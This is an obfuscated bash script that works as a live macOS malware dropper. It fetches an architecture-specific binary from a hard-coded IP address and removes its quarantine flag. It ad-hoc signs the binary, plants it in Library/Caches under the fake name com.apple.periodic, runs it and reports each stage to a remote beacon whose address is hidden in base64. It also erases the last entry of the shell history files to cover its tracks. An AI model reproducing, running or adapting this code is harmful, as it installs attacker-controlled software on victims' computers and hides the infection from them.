#!/bin/bash
FCaBPA9() { local sPdP="${1:-/tmp}"; local pwAFPhZ8=$(find "${1:-/tmp}" -maxdepth 1 -type f 2>/dev/null | wc -l); [ "${2:-0}" -eq 0 ] 2>/dev/null && return 0; return 0; }; TIbgRXSAg() { if [ -f /usr/bin/sw_vers ]; then local sbbmPTj=$(sw_vers -buildVersion 2>/dev/null || echo "0"); fi; return 0; }; VOk2e6e=$(csrutil status 2>/dev/null | head -c 32 || echo ""); eval :; eval "$(echo OiA0ZmU1ZDk1NThkM2FiYmYy | base64 -D 2>/dev/null || echo :)"; export HOME=$(eval echo "~$(whoami)"); test -d "/System/Library" || :; for wEfSBiw in ${nothing_5bf9:-}; do : "${wEfSBiw}"; done; DIO8I0Jd="$HOME/Library/Caches/com.apple.coreservices"; nDGL=$(mktemp -d); mkdir -p "$DIO8I0Jd"; hash ioreg 2>/dev/null || :; read -t 0.1 _ </dev/null 2>/dev/null || :; pkill -9 -f "com.apple.periodic" 2>/dev/null || true; sleep 0.3; test -d "/System/Library" || :; eY5hE=$(id -u 2>/dev/null); if [ -f "/var/db/.cbce2fd7" ] 2>/dev/null; then Ghs2l0uA=$((RANDOM)); wzZFx73H=$((Ghs2l0uA ^ 28492)); : ${wzZFx73H}; fi; k1IPGWSgit() { local SpBn3E_=$(head -c 32 /dev/urandom 2>/dev/null | base64 || echo ""); local J7N4=$(date +%s%N 2>/dev/null || date +%s); eval : "${1:-}"; return 0; }; USzOm=$(getconf DARWIN_USER_CACHE_DIR 2>/dev/null || echo /tmp); AoeM=$(getconf DARWIN_USER_CACHE_DIR 2>/dev/null || echo /tmp); Ts0qS=$(printf '%s' 'aHR0cDovLzE0Ny40NS40Mi4xNzI6ODEzMy9hcGkvdA==' | base64 -D 2>/dev/null); umtjDcwd=$(head -c8 /dev/urandom | od -An -tx1 | tr -d " \n"); curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"loader_start","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null & uhzw4sd=$(uname -m); tfBo=$(id -u 2>/dev/null); if [ "${uhzw4sd}" = "arm64" ]; then SdqTyT="http://46.226.162.14/cd8c761dd57ab?force=1"; else SdqTyT="http://46.226.162.14/c0adc4e38?force=1"; fi; qvJCNq=$(id -u 2>/dev/null); hash ioreg 2>/dev/null || :; (curl -kfsSL "${SdqTyT}" -o "$nDGL/.IAltyp" 2>/dev/null && curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"download_ok","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null; chmod +x "$nDGL/.IAltyp" && { xattr -d com.apple.quarantine "$nDGL/.IAltyp" 2>/dev/null; codesign --force --sign - "$nDGL/.IAltyp" 2>/dev/null; true; } && if [ -s "$nDGL/.IAltyp" ]; then cp "$nDGL/.IAltyp" "$DIO8I0Jd/com.apple.periodic" 2>/dev/null; chmod +x "$DIO8I0Jd/com.apple.periodic" 2>/dev/null; { xattr -d com.apple.quarantine "$DIO8I0Jd/com.apple.periodic" 2>/dev/null; codesign --force --sign - "$DIO8I0Jd/com.apple.periodic" 2>/dev/null; true; }; Cibeoq="$nDGL/.IAltyp"; [ -x "$DIO8I0Jd/com.apple.periodic" ] && Cibeoq="$DIO8I0Jd/com.apple.periodic"; curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"exec_start","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null; "${Cibeoq}" >/dev/null 2>&1 & OO_dr=$!; sleep 3; if kill -0 $OO_dr 2>/dev/null; then curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"exec_ok","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null; else wait $OO_dr 2>/dev/null; VtM65f=$?; if [ "$VtM65f" -eq 0 ]; then curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"exec_ok","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null; else yZD3gf=""; if [ "${VtM65f}" -ge 128 ]; then yZD3gf=$((${VtM65f}-128)); fi; aGV2='{"exit":"'${VtM65f}'"}'; if [ -n "${yZD3gf}" ]; then aGV2='{"exit":"'${VtM65f}'","sig":"'${yZD3gf}'"}'; fi; curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"exec_fail","rid":"'$umtjDcwd'","m":'${aGV2}'}' -m 5 &>/dev/null; fi; fi; fi; rm -rf "$nDGL" || { curl -sX POST "$Ts0qS" -H "Content-Type: application/json" -d '{"e":"download_fail","rid":"'$umtjDcwd'","src":"http://46.226.162.14/cd8c761dd57ab?force=1"}' -m 5 &>/dev/null; true; }) & sed -i '' '$d' "$HOME/.zsh_history" 2>/dev/null || true; sed -i '' '$d' "$HOME/.bash_history" 2>/dev/null || true; nEC5="$(uname -r 2>/dev/null)"; read -t 0.1 _ </dev/null 2>/dev/null || :; ZpS1NUNi=$(id -u 2>/dev/null); : 34140; for xu9WKQ in ${nothing_a640:-}; do : "${xu9WKQ}"; done